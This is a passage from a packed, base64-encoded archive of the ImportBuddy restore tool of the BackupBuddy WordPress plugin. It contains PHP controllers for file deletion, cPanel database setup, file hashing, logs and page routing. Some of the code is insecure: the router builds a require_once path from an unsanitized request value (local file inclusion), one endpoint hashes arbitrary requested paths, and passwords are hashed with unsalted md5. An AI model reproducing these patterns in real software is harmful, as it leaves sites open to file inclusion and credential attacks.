dGlvbiAuICdgLi4uJyApOwoKCSRtb2RlID0gYXBwbHlfZmlsdGVycyggJ2l0YnViLWRlZmF1bHQtZmlsZS1tb2RlJywgMDc1NSApOwoJQGNobW9kKCAkZmlsZSwgJG1vZGUgKTsgLy8gSGlnaCBwZXJtaXNzaW9ucyB0byBkZWxldGUuCgkKCWlmICggaXNfZGlyKCAkZmlsZSApICkgeyAvLyBkaXJlY3RvcnkuCgkJcGJfYmFja3VwYnVkZHk6OiRmaWxlc3lzdGVtLT51bmxpbmtfcmVjdXJzaXZlKCAkZmlsZSApOwoJCWlmICggZmlsZV9leGlzdHMoICRmaWxlICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdVbmFibGUgdG8gZGVsZXRlIGRpcmVjdG9yeTogYCcgLiAkZGVzY3JpcHRpb24gLiAnYC4gWW91IHNob3VsZCBtYW51YWxseSBkZWxldGUgaXQuJyApOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0RlbGV0ZWQuJywgZmFsc2UgKTsgLy8gTm8gbG9nZ2luZyBvZiB0aGlzIGFjdGlvbiB0byBwcmV2ZW50IHJlY3JlYXRpbmcgbG9nLgoJCX0KCX0gZWxzZSB7IC8vIGZpbGUKCQlpZiAoIGZpbGVfZXhpc3RzKCAkZmlsZSApICkgewoJCQlpZiAoIHRydWUgIT09IEB1bmxpbmsoICRmaWxlICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnVW5hYmxlIHRvIGRlbGV0ZSBmaWxlOiBgJyAuICRkZXNjcmlwdGlvbiAuICdgLiBZb3Ugc2hvdWxkIG1hbnVhbGx5IGRlbGV0ZSBpdC4nICk7CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdEZWxldGVkLicsIGZhbHNlICk7IC8vIE5vIGxvZ2dpbmcgb2YgdGhpcyBhY3Rpb24gdG8gcHJldmVudCByZWNyZWF0aW5nIGxvZy4KCQkJfQoJCX0KCX0KfSAvLyBFbmQgcmVtb3ZlX2ZpbGUoKS4KCgpkaWUoKTsgLy8gRG9uJ3Qgd2FudCB0byBhY2NpZGVudGx5IGdvIGJhY2sgdG8gYW55IGZpbGVzIHdoaWNoIG1heSBiZSBnb25lLgoK
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/6.php,importbuddy/controllers/ajax/6.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/cpanel_createdb.php,importbuddy/controllers/ajax/cpanel_createdb.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CgpBdXRoOjpyZXF1aXJlX2F1dGhlbnRpY2F0aW9uKCk7IC8vIERpZSBpZiBub3QgbG9nZ2VkIGluLgoKLy9wcmludF9yKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoKSApOwoKJGNwYW5lbF91c2VyID0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnY3BhbmVsX3VzZXInICk7CiRjcGFuZWxfcGFzc3dvcmQgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdjcGFuZWxfcGFzcycgKTsKJGNwYW5lbF9ob3N0ID0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnY3BhbmVsX3VybCcgKTsKJGNwYW5lbF9wb3J0ID0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnY3BhbmVsX3BvcnQnICk7CiRjcGFuZWxfcHJvdG9jb2wgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdjcGFuZWxfcHJvdG9jb2wnICk7CiRkYl9uYW1lID0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnY3BhbmVsX2RibmFtZScgKTsKJGRiX3VzZXIgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdjcGFuZWxfZGJ1c2VyJyApOwokZGJfcGFzcyA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2NwYW5lbF9kYnBhc3MnICk7CgovLyBOZWVkZWQgZm9yIEhUVFAgcmVxdWVzdHMuCiRyZXF1ZXN0Y29yZV9maWxlID0gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9yZXF1ZXN0Y29yZS9yZXF1ZXN0Y29yZS5jbGFzcy5waHAnOwpyZXF1aXJlX29uY2UoICRyZXF1ZXN0Y29yZV9maWxlICk7CgpyZXF1aXJlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvY3BhbmVsL2NwYW5lbC5waHAnICk7CiRjcmVhdGVfZGJfcmVzdWx0ID0gcGJfYmFja3VwYnVkZHlfY3BhbmVsOjpjcmVhdGVfZGIoICRjcGFuZWxfdXNlciwgJGNwYW5lbF9wYXNzd29yZCwgJGNwYW5lbF9ob3N0LCAkZGJfbmFtZSwgJGRiX3VzZXIsICRkYl9wYXNzLCAkY3BhbmVsX3BvcnQsICRjcGFuZWxfcHJvdG9jb2wgKTsKCmlmICggJGNyZWF0ZV9kYl9yZXN1bHQgPT09IHRydWUgKSB7CgllY2hvICdTdWNjZXNzISBDcmVhdGVkIGRhdGFiYXNlLCB1c2VyLCBhbmQgYXNzaWduZWQgdXNlciB0byBkYXRhYmFzZS4nOwp9IGVsc2UgewoJZWNobyAiVW5hYmxlIHRvIGF1dG9tYXRpY2FsbHkgY3JlYXRlIGRhdGFiYXNlIHdpdGggdGhlIHByb3ZpZGVkIHNldHRpbmdzLiBDaGVjayBzZXR0aW5ncyBvciBtYW51YWxseSBjcmVhdGUgdGhlIGRhdGFiYXNlIGZyb20geW91ciBob3N0J3MgY29udHJvbCBwYW5lbC4gU2VlIHR1dG9yaWFsIGF0OiAiOwoJZWNobyAiaHR0cDovL2l0aGVtZXMuY29tL3R1dG9yaWFsLWNyZWF0ZS1kYXRhYmFzZS1pbi1jcGFuZWwvXG5cbiI7CgllY2hvICJFcnJvciBkZXRhaWxzOlxuIiAuIGltcGxvZGUoICJcbiIsICRjcmVhdGVfZGJfcmVzdWx0KTsKfQoKZGllKCk7Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/cpanel_createdb.php,importbuddy/controllers/ajax/cpanel_createdb.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/file_hash.php,importbuddy/controllers/ajax/file_hash.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCgokZmlsZSA9IEFCU1BBVEggLiBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdmaWxlJyApOwoKaWYgKCAnJyA9PSAkZmlsZSApIHsKCWRpZSggJ05vIGZpbGUgcGFzc2VkLicgKTsKfQppZiAoICEgZmlsZV9leGlzdHMoICRmaWxlICkgKSB7CglkaWUoICdGaWxlIG5vdCBmb3VuZC4nICk7Cn0KCiRmaWxlSGFzaCA9IEBtZDVfZmlsZSggJGZpbGUgKTsKCmlmICggZmFsc2UgPT09ICRmaWxlSGFzaCApIHsKCWRpZSggJ1VuYWJsZSB0byBjYWxjdWxhdGUgaGFzaC4gVmVyaWZ5IGZpbGUgcGVybWlzc2lvbnMuJyApOwp9IGVsc2UgewoJZGllKCBqc29uX2VuY29kZSggYXJyYXkoICdoYXNoJyA9PiAkZmlsZUhhc2ggKSApICk7Cn0=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/file_hash.php,importbuddy/controllers/ajax/file_hash.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/getDeployLog.php,importbuddy/controllers/ajax/getDeployLog.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CgppZiAoICd0cnVlJyAhPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RlcGxveScgKSApIHsKCWRpZSggJ0FjY2VzcyBkZW5pZWQuJyApOwp9CgovLyBPbmx5IGFsbG93IGFjY2VzcyB0byB0aGlzIGZpbGUgaWYgaXQgaGFzIGEgc2VyaWFsIGhpZGluZyBpdC4gVXNlZCBieSBkZXBsb3ltZW50LgpnbG9iYWwgJGltcG9ydGJ1ZGR5X2ZpbGU7CiRpbXBvcnRGaWxlU2VyaWFsID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X3NlcmlhbF9mcm9tX2ZpbGUoICRpbXBvcnRidWRkeV9maWxlICk7CmlmICggJycgPT0gJGltcG9ydEZpbGVTZXJpYWwgKSB7CglkaWUoICdBY2Nlc3MgZGVuaWVkLicgKTsKfQoKcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnKioqIEVuZCBJbXBvcnRCdWRkeSBMb2cgU2VjdGlvbiAoRGVwbG95bWVudCknICk7CgovLyBMb2cgdG8gbWFrZSBhIGNvcHkgb2YgcmV0cmlldmVkIGRlcGxveSBpbmZvIGludG8uCiRsb2dfZGlyZWN0b3J5ID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCk7CiRiYWNrdXBfbG9nX2ZpbGUgPSAkbG9nX2RpcmVjdG9yeSAuICdzdGF0dXMtZGVwbG95Y29weS0nIC4gJGltcG9ydEZpbGVTZXJpYWwgLiAnLnR4dCc7Cgokc3RhdHVzX2xpbmVzID0gcGJfYmFja3VwYnVkZHk6OmdldF9zdGF0dXMoICcnLCB0cnVlLCBmYWxzZSwgdHJ1ZSwgJGJhY2t1cF9sb2dfZmlsZSApOyAvLyBDbGVhciBmaWxlLCBkb250IHVubGluayBmaWxlLCBzdXByZXNzIHN0YXR1cyByZXRyaWV2YWwgbXNnLCBiYWNrdXAgaW50byAkbG9nX2ZpbGUKZWNobyBpbXBsb2RlKCAnJywgJHN0YXR1c19saW5lcyApOwo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/getDeployLog.php,importbuddy/controllers/ajax/getDeployLog.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/hash_forgotpass.php,importbuddy/controllers/ajax/hash_forgotpass.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CgppZiAoICcnID09IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ25ld3Bhc3N3b3JkJyApICkgewoJZGllKCAnRXJyb3IgIzg0OTM0ODk6IE1pc3NpbmcgcGFzc3dvcmQuJyApOwp9CgpkaWUoIG1kNSggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnbmV3cGFzc3dvcmQnICkgKSApOw==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/hash_forgotpass.php,importbuddy/controllers/ajax/hash_forgotpass.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/index.php,importbuddy/controllers/ajax/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/index.php,importbuddy/controllers/ajax/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/mysql_test.php,importbuddy/controllers/ajax/mysql_test.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCgovLyBJbmNsdWRlIHRoZSBEQiBUZXN0cyBjbGFzcyBhbmQgaW5pdCBpdC4KcmVxdWlyZV9vbmNlKCBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5L2NsYXNzZXMvdGVzdC1kYi5waHAnICk7CiRpbXBvcnRidWRkeV90ZXN0X2RiID0gbmV3IGltcG9ydGJ1ZGR5X3Rlc3RfZGIoKTsK
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/mysql_test.php,importbuddy/controllers/ajax/mysql_test.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/create_admin.php,importbuddy/controllers/pages/create_admin.php
PD9waHAKZGllKCk7CgppZiAoICEgZGVmaW5lZCggJ1BCX0lNUE9SVEJVRERZJyApIHx8ICggdHJ1ZSAhPT0gUEJfSU1QT1JUQlVERFkgKSApIHsKCWRpZSggJzxodG1sPjwvaHRtbD4nICk7Cn0KCkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCgo/Pgo8ZGl2IGlkPSJwYl9jcmVhdGVhZG1pbl9tb2RhbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IGhlaWdodDogOTAlOyI+CgkJPGRpdiBjbGFzcz0ibW9kYWwiPgoJCQk8ZGl2IGNsYXNzPSJtb2RhbF9oZWFkZXIiPgoJCQkJPGEgY2xhc3M9Im1vZGFsX2Nsb3NlIj4mdGltZXM7PC9hPgoJCQkJPGgyPlNlcnZlciBJbmZvcm1hdGlvbjwvaDI+CgkJCTwvZGl2PgoJCQk8ZGl2IGNsYXNzPSJtb2RhbF9jb250ZW50Ij4KCQkJCQoJCQkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQkJCWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkJCQkJCWpRdWVyeSggJyNjcmVhdGVhZG1pbl9mb3JtJyApLnN1Ym1pdChmdW5jdGlvbigpewoJCQkJCQkJCgkJCQkJCQlqUXVlcnkoICcuY3JlYXRlYWRtaW5fbG9hZGluZycgKS5zaG93KCk7CgkJCQkJCQlqUXVlcnkucG9zdCgnaW1wb3J0YnVkZHkucGhwP2FqYXg9Y3JlYXRlX2FkbWluJywKCQkJCQkJCQlqUXVlcnkoICcjY3JlYXRlYWRtaW5fZm9ybScgKS5zZXJpYWxpemUoKSwgZnVuY3Rpb24oZGF0YSkgewoJCQkJCQkJCQkKCQkJCQkJCQkJZGF0YSA9IGpRdWVyeS50cmltKCBkYXRhICk7CgkJCQkJCQkJCWpRdWVyeSggJy5jcmVhdGVhZG1pbl9sb2FkaW5nJyApLmhpZGUoKTsKCQkJCQkJCQkJCgkJCQkJCQkJCWlmICggZGF0YSA9PSAnMScgKSB7CgkJCQkJCQkJCQlhbGVydCggJ1N1Y2Nlc3MnICk7CgkJCQkJCQkJCX0gZWxzZSB7CgkJCQkJCQkJCQlhbGVydCggJ0Vycm9yOiAnICsgZGF0YSApOwoJCQkJCQkJCQl9CgkJCQkJCQkJCQoJCQkJCQkJCX0KCQkJCQkJCSk7CgkJCQkJCQkKCQkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQkJCQoJCQkJCQl9KTsKCQkJCQl9KTsKCQkJCTwvc2NyaXB0PgoJCQkJCgkJCQk8Zm9ybSBpZD0iY3JlYXRlYWRtaW5fZm9ybSI+CgkJCQkJVXNlcm5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VybmFtZSI+CgkJCQkJRW1haWw6IDxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0iZW1haWwiPgoJCQkJCVBhc3N3b3JkOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj4KCQkJCQlDb25maXJtIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkX2NvbmZpcm0iPgoJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSBBZG1pbiBVc2VyIiBjbGFzcz0iYnV0dG9uIj4KCQkJCQk8c3BhbiBjbGFzcz0iY3JlYXRlYWRtaW5fbG9hZGluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IG1hcmdpbi1sZWZ0OiAxMHB4OyI+PGltZyBzcmM9Ijw/cGhwIGVjaG8gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKTsgPz4vaW1hZ2VzL2xvYWRpbmcuZ2lmIiBhbHQ9IicgLiBfXygnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgdGl0bGU9IicgLiBfXygnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgd2lkdGg9IjE2IiBoZWlnaHQ9IjE2IiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0zcHg7Ij48L3NwYW4+CgkJCQk8L2Zvcm0+CgkJCQkKCQkJCQoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2Pgo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/create_admin.php,importbuddy/controllers/pages/create_admin.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/dbreplace.php,importbuddy/controllers/pages/dbreplace.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCgoKJGRhdGEgPSBhcnJheSgpOwpwYl9iYWNrdXBidWRkeTo6bG9hZF92aWV3KCAnZGJyZXBsYWNlJywgJGRhdGEgKTsKPz48c2NyaXB0PmpRdWVyeSggJyNwYWdlVGl0bGUnICkuaHRtbCggJ0RhdGFiYXNlIFRleHQgUmVwbGFjZScgKTs8L3NjcmlwdD4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/dbreplace.php,importbuddy/controllers/pages/dbreplace.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/default.php,importbuddy/controllers/pages/default.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CgoKLyoqKioqKiBCRUdJTiBBVVRIRU5USUNBVElPTiAqKioqKi8KLy9yZXF1aXJlX29uY2UoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvY2xhc3Nlcy9hdXRoLnBocCcgKTsKQXV0aDo6Y2hlY2soKTsKaWYgKCAoIHRydWUgPT09IEF1dGg6OmlzX2F1dGhlbnRpY2F0ZWQoKSApICYmICggJ2xvZ2luJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdhY3Rpb24nICkgKSApIHsgLy8gT24gc3VjY2Vzc2Z1bCBsb2dpbiB0byBzdGVwIDAsIHJlZGlyZWN0IHRvIHN0ZXAgMS4KCWhlYWRlciggJ0xvY2F0aW9uOiAnIC4gcGJfYmFja3VwYnVkZHk6OnBhZ2VfdXJsKCkgKTsKfQovKioqKioqIEVORCBBVVRIRU5USUNBVElPTiAqKioqKi8KCgokbW9kZSA9ICdodG1sJzsKCgovLyBSZWdpc3RlciBQSFAgc2h1dGRvd24gZnVuY3Rpb24gdG8gaGVscCBjYXRjaCBhbmQgbG9nIGZhdGFsIFBIUCBlcnJvcnMgZHVyaW5nIGJhY2t1cC4KcmVnaXN0ZXJfc2h1dGRvd25fZnVuY3Rpb24oICdzaHV0ZG93bl9mdW5jdGlvbicgKTsKLy9lcnJvcl9yZXBvcnRpbmcoIEVfRVJST1IgfCBFX1dBUk5JTkcgfCBFX1BBUlNFIHwgRV9OT1RJQ0UgKTsgLy8gSElHSAoKLyoJc2h1dGRvd25fZnVuY3Rpb24oKQogKgkKICoJVXNlZCBmb3IgY2F0Y2hpbmcgZmF0YWwgUEhQIGVycm9ycyBkdXJpbmcgYmFja3VwIHRvIHdyaXRlIHRvIGxvZyBmb3IgZGVidWdnaW5nLgogKgkKICoJQHJldHVybgkJbnVsbAogKi8KZnVuY3Rpb24gc2h1dGRvd25fZnVuY3Rpb24oKSB7CgkKCQoJLy8gR2V0IGVycm9yIG1lc3NhZ2UuCgkvLyBFcnJvciB0eXBlczogaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Vycm9yZnVuYy5jb25zdGFudHMucGhwCgkkZSA9IGVycm9yX2dldF9sYXN0KCk7CglpZiAoICRlID09PSBOVUxMICkgeyAvLyBObyBlcnJvciBvZiBhbnkga2luZC4KCQlyZXR1cm47Cgl9IGVsc2UgeyAvLyBTb21lIHR5cGUgb2YgZXJyb3IuCgkJaWYgKCAhaXNfYXJyYXkoICRlICkgfHwgKCAkZVsndHlwZSddICE9IEVfRVJST1IgKSAmJiAoICRlWyd0eXBlJ10gIT0gRV9VU0VSX0VSUk9SICkgKSB7IC8vIFJldHVybiBpZiBub3QgYSBmYXRhbCBlcnJvci4KCQkJLy9lY2hvICc8IS0tICcgLiBwcmludF9yKCAkZSwgdHJ1ZSApIC4gJyAtLT4nIC4gIlxuIjsKCQkJcmV0dXJuOwoJCX0KCX0KCQoJCgkvLyBDYWxjdWxhdGUgbG9nIGRpcmVjdG9yeS4KCSRsb2dfZGlyZWN0b3J5ID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCk7IC8vIEFsc28gaGFuZGxlIHdoZW4gaW4gaW1wb3J0YnVkZHkuCgkkbWFpbl9maWxlID0gJGxvZ19kaXJlY3RvcnkgLiAnbG9nLScgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xvZ19zZXJpYWwnXSAuICcudHh0JzsKCQoJCgkvLyBEZXRlcm1pbmUgaWYgd3JpdGluZyB0byBhIHNlcmlhbCBsb2cuCglpZiAoIHBiX2JhY2t1cGJ1ZGR5OjokX3N0YXR1c19zZXJpYWwgIT0gJycgKSB7CgkJJHNlcmlhbCA9IHBiX2JhY2t1cGJ1ZGR5OjokX3N0YXR1c19zZXJpYWw7CgkJJHNlcmlhbF9maWxlID0gJGxvZ19kaXJlY3RvcnkgLiAnc3RhdHVzLScgLiAkc2VyaWFsIC4gJ18nIC4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLnR4dCc7CgkJJHdyaXRlX3NlcmlhbCA9IHRydWU7Cgl9IGVsc2UgewoJCSR3cml0ZV9zZXJpYWwgPSBmYWxzZTsKCX0KCQoJCgkvLyBGb3JtYXQgZXJyb3IgbWVzc2FnZS4KCSRlX3N0cmluZyA9ICctLS0tLSBGQVRBTCBFUlJPUiAtLS0tLSBBIGZhdGFsIFBIUCBlcnJvciB3YXMgZW5jb3VudGVyZWQ6ICc7Cglmb3JlYWNoKCAoYXJyYXkpJGUgYXMgJGVfbGluZV90aXRsZSA9PiAkZV9saW5lICkgewoJCSRlX3N0cmluZyAuPSAkZV9saW5lX3RpdGxlIC4gJyA9PiAnIC4gJGVfbGluZSAuICI7ICI7Cgl9CgkkZV9zdHJpbmcgPSBydHJpbSggJGVfc3RyaW5nLCAnOyAnICkgLiAnLic7CgkKCS8vIFdyaXRlIHRvIGxvZy4KCUBmaWxlX3B1dF9jb250ZW50cyggJG1haW5fZmlsZSwgJGVfc3RyaW5nLCBGSUxFX0FQUEVORCApOwoJCgkvLyBJTVBPUlRCVUREWQoJJHN0YXR1cyA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5kYXRlKCB0aW1lKCkgKSAuICJcdCIgLgoJCQkJc3ByaW50ZiggIiUwMS4yZiIsIHJvdW5kKCBtaWNyb3RpbWUoIHRydWUgKSAtIHBiX2JhY2t1cGJ1ZGR5Ojokc3RhcnRfdGltZSwgMiApICkgLiAiXHQiIC4KCQkJCXNwcmludGYoICIlMDEuMmYiLCByb3VuZCggbWVtb3J5X2dldF9wZWFrX3VzYWdlKCkgLyAxMDQ4NTc2LCAyICkgKSAuICJcdCIgLgoJCQkJJ2Vycm9yJyAuICJcdFx0IiAuCgkJCQlzdHJfcmVwbGFjZSggY2hyKDkpLCAnICAgJywgJGVfc3RyaW5nICkKCQkJOwoJJHN0YXR1cyA9IHN0cl9yZXBsYWNlKCAnXFwnLCAnLycsICRzdGF0dXMgKTsKCWVjaG8gJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5wYl9zdGF0dXNfYXBwZW5kKCInIC4gc3RyX3JlcGxhY2UoICciJywgJyZxdW90OycsICRzdGF0dXMgKSAuICciKTs8L3NjcmlwdD4nOwoJCn0gLy8gRW5kIHNodXRkb3duX2Z1bmN0aW9uLgoKCi8vIEhhbmRsZSBBSkFYLgokYWpheCA9ICcnOwppZiAoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2FqYXgnICkgIT0gJycgKSB7CgkkYWpheCA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2FqYXgnICk7Cn0gZWxzZWlmICggcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdhamF4JyApICE9ICcnICkgewoJJGFqYXggPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2FqYXgnICk7Cn0KaWYgKCAkYWpheCAhPSAnJyApIHsgLy8gQUpBWAoJaWYgKCAkYWpheCAhPSAnaGFzaF9mb3Jnb3RwYXNzJyApIHsKCQlBdXRoOjpyZXF1aXJlX2F1dGhlbnRpY2F0aW9uKCk7IC8vIERpZSBpZiBub3QgbG9nZ2VkIGluLgoJfQoJCgkkcGFnZSA9IEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvY29udHJvbGxlcnMvYWpheC8nIC4gJGFqYXggLiAnLnBocCc7CglpZiAoIGZpbGVfZXhpc3RzKCAkcGFnZSApICkgewoJCXJlcXVpcmVfb25jZSggJHBhZ2UgKTsKCX0gZWxzZSB7CgkJZWNobyAne0Vycm9yOiBJbnZhbGlkIEFKQVggYWN0aW9uIGAnIC4gaHRtbGVudGl0aWVzKCAkYWpheCApIC4gJ2AgRmlsZSBub3QgZm91bmQ6IGAnIC4gJHBhZ2UgLiAnYC59JzsKCX0KCXJldHVybjsKCQp9CgoKLy8gRGV0ZXJtaW5lIHBhZ2UgdG8gbG9hZC4KaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3BhZ2UnICkgIT0gJycgKSB7IC8vIE5hbWVkIHBhZ2UuCgkKCUF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCgkKCSRwYWdlU2x1ZyA9IHN0cl9yZXBsYWNlKCBhcnJheSggJ1xcJywgJy8nICksICcnLCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3BhZ2UnICkgKTsKCWlmICggISBjdHlwZV9hbG51bSggc3RyX3JlcGxhY2UoIGFycmF5KCAnLScsICdfJyApLCAnJywgJHBhZ2VTbHVnICkgKSApIHsgLy8gRGlzYWxsb3cgbm9uLWFscGhhbnVtZXJpYyBleGNlcHQgZGFzaCwgdW5kZXJzY29yZS4KCQlkaWUoICdFcnJvciAjODU3NDc4MzMuIFBhZ2UgY29udGFpbnMgZGlzYWxsb3dlZCBjaGFyYWN0ZXJzLiBPbmx5IGFscGhhbnVtZXJpYywgZGFzaGVzLCBhbmQgdW5kZXJzY29yZXMgcGVybWl0dGVkLicgKTsKCX0gCgkKCSRwYWdlRmlsZSA9IEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvY29udHJvbGxlcnMvcGFnZXMvJyAuICRwYWdlU2x1ZyAuICcucGhwJzsKCWlmICggZmlsZV9leGlzdHMoICRwYWdlRmlsZSApICkgewoJCWVjaG8gJzwhLS0gU3RhcnRpbmcgcGFnZSAnIC4gJHBhZ2VTbHVnIC4gJy4gLS0+JzsKCQlyZXF1aXJlX29uY2UoICRwYWdlRmlsZSApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGVkIHBhZ2UgJyAuICRwYWdlU2x1ZyAuICcuJyApOwoJfSBlbHNlIHsKCQllY2hvICd7RXJyb3I6IEludmFsaWQgcGFnZSBgJyAuIGh0bWxlbnRpdGllcyggcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdzdGVwJyApICkgLiAnLnBocCcgLiAnYC59JzsKCX0KCXJldHVybjsKCQp9IGVsc2VpZiAoIHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnc3RlcCcgKSAhPSAnJyApIHsgLy8gTnVtZXJpY2FsIHN0ZXAuCgkKCWlmICggdHJ1ZSAhPT0gQXV0aDo6aXNfYXV0aGVudGljYXRlZCgpICkgeyAvLyBJZiBub3QgbG9nZ2VkIGluIHRoZW4g